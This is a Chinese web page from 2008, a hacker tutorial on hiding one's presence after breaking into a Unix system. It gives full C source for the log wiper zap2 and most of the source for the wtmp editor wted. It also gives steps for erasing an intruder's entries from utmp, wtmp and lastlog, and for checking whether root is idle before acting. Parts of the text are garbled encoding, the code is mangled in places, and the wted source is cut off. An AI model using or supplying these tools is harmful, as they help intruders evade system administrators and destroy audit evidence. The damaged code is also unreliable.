分享
 
 
 

进入系统后如何隐藏自已

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

网络上有很多不同的日志清除程序,其中最好的是zap2。我编译后称为z2

在你获得root的访问权后立即运行z2这个程序。这个程序执行的非常快。

你可以使用finger @host.xxx来查看当前有说锹剂耍?邢腹鄄煲幌买oot或admin的idle time(空闲时间)

来猜测他们是否离开主机了。

Login, ?ú????oóá¢?′ê?è?wà′2é?′idle timeoí???úóD?????á??£ ????ó?"w"2é?′??í3oí??ê?è?ê1

×??o3é?aroot???üá?ê?2??üí?ê±??DD???£ò?????????á?root?????ê訣?á¢?′ê?è? ./z2 ??????

??í3?ùó???ó??§???£

现在你比刚才就安全多了。现在再用"w"或"who"命令来查看一下,你已静换岜货tmp记录了。如果你要使

用 ftp或其它的一些命令你可能就会用到我在本章中提供的另外两个程序 wted 和 lled。

我们先来完成z2这个程序。你必须了解每个文件在你入侵的系统中的位置以便修改z2.c,使其包含这些

文件的正确路径。

下面是在文件头部的需要你修改的部分。

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"

在有些系统中应该是:

#define WTMP_NAME "/var/adm/wtmp"

#define UTMP_NAME "/var/adm/utmp"

#define LASTLOG_NAME "/var/adm/lastlog"

但你应该自己查看一下这些文件存放在你要入侵的系统的什么位置。/var/log目录也是很可能的一个路径。

修改好正确的文件路径后,编译这个文件,现在你登录之后运行z2,你就已比较安全了。

这里是c程序:

z2.c

--------------------------- cut here

#include

#include

#include

#include

#include

#include

#include

#include

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)

char *who;

{

struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))=0) {

while(read (f, &utmp_ent, sizeof (utmp_ent)) 0 )

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof( utmp_ent ));

lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

write (f, &utmp_ent, sizeof (utmp_ent));

}

close(f);

}

}

void kill_wtmp(who)

char *who;

{

struct utmp utmp_ent;

long pos;

pos = 1L;

if ((f=open(WTMP_NAME,O_RDWR))=0) {

while(pos != -1L) {

lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);

if (read (f, &utmp_ent, sizeof (struct utmp))

pos = -1L;

} else {

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof(struct utmp ));

lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);

write (f, &utmp_ent, sizeof (utmp_ent));

pos = -1L;

} else pos += 1L;

}

}

close(f);

}

}

void kill_lastlog(who)

char *who;

{

struct passwd *pwd;

struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) = 0) {

lseek(f, (long)pwd-pw_uid * sizeof (struct lastlog), 0);

bzero((char *)&newll,sizeof( newll ));

write(f, (char *)&newll, sizeof( newll ));

close(f);

}

} else printf("%s: ?\n",who);

}

main(argc,argv)

int argc;

char *argv[];

{

if (argc==2) {

kill_lastlog(argv[1]);

kill_wtmp(argv[1]);

kill_utmp(argv[1]);

printf("Zap2!\n");

} else

printf("Error.\n");

}

--------------------------- cut here

--------------------------------------------------------------------------------

其它脚本程序

我们开始本章的另一部分。我们假设你登录并执行了z2,你需要进行ftp来抓一个文件(记住,象第一

章所说的,不要ftp或telent出这个入侵的主机)。好了,你ftp进入系统抓取几个文件,或登录到系统

的其它帐户中,那现在你就要用到wted程序了。 wted程序允许你编槛tmp日志来清除你ftp留下的记录。

你也可能要用到lled (编检astlog日志).

你在修改日志的路径并编译wted程序后,输入 ./wted将会出现下面的菜单。

[8:25pm][/home/compile]wted

Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST

-h This help 帮助

-f Use FILE instead of default 所使用的非默认文件

-a Show all entries found 显示所有的记录

-u Show all entries for USER 显示USER的所有记录

-b Show NULL entries 显示空记录

-e Erase USER completely 完全清除某用户的记录

-c Erase all connections containing HOST 清除从某主机来的所有记录

-z Show ZAP'd entries ??ê?ó?ZAP′|àí1y??????

-x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1y??????

如果你ftp使用的用户名为 tsmith,你应这样使用 wted -x -e tsmith

这个程序将显示用户tsmith登录的一个时间并询问你是否要删除它。在你删除你登录的记录后,记着

chmod 644 wtmp.tmp文件然后将其拷贝到日志文件的目录并覆盖岳吹奈募?O笳庋??

1. chmod 644 wtmp.tmp

2. cp wtmp.tmp /var/adm/wtmp

下面是wted程序:

重要:记着将char里面文件改成正确的路径。

wted.c

---------------------- cut here

#include

#include

#include

#include

char *file="/var/adm/wtmp";

main(argc,argv)

int argc;

char *argv[];

{

int i;

if (argc==1) usage();

for(i=1;i{

if(argv[i][0] == '-')

{

switch(argv[i][1])

{

case 'b': printents(""); break;

case 'z': printents("Z4p"); break;

case 'e': erase(argv[i+1],0); break;

case 'c': erase(0,argv[i+1]); break;

case 'f': file=argv[i+1]; break;

case 'u': printents(argv[i+1]); break;

case 'a': printents("*"); break;

case 'x': remnull(argv[i+1]); break;

default:usage();

}

}

}

}

printents(name)

char *name;

{

struct utmp utmp,*ptr;

int fp=-1;

ptr=&utmp;

if (fp=open(file,O_RDONLY))

{

while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))

{

if ( !(strcmp(name,ptr-ut_name)) || (name=="*") ||

(!(strcmp("Z4p",name)) && (ptr-ut_time==0)))

printinfo(ptr);

}

close(fp);

}

}

printinfo(ptr)

struct utmp *ptr;

{

char tmpstr[256];

printf("%s\t",ptr-ut_name);

printf("%s\t",ptr-ut_line);

strcpy(tmpstr,ctime(&(ptr-ut_time)));

tmpstr[strlen(tmpstr)-1]='\0';

printf("%s\t",tmpstr);

printf("%s\n",ptr-ut_host);

}

erase(name,host)

char *name,*host;

{

int fp=-1,fd=-1,tot=0,cnt=0,n=0;

struct utmp utmp;

unsigned char c;

if (fp=open(file,O_RDONLY)) {

fd=open("wtmp.tmp",O_WRONLY|O_CREAT);

while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {

if (host)

if (strstr(utmp.ut_host,host)) tot++;

else {cnt++;write(fd,&utmp,sizeof(struct utmp));}

if (name) {

if (strcmp(utmp.ut_name,name)) {cnt++;

write(fd,&utmp,sizeof(struct utmp));}

else {

if (n0) {

n--;cnt++;

write(fd,&utmp,sizeof(struct utmp));}

else

{

printinfo(&utmp);

printf("Erase entry (y/n/f(astforward))? ");

c='a';

while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);

if (c=='f') {

cnt++;

write(fd,&utmp,sizeof(struct utmp));

printf("Fast forward how many entries? ");

scanf("%d",&n);}

if (c=='n') {

cnt++;

write(fd,&utmp,sizeof(struct utmp));

}

if (c=='y') tot++;

}

} }

}

close(fp);

close(fd);

}

printf("Entries stored: %d Entries removed: %d\n",cnt,tot);

printf("Now chmod wtmp.tmp and copy over the original %s\n",file);

}

remnull(name)

char *name;

{

int fp=-1,fd=-1,tot=0,cnt=0,n

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有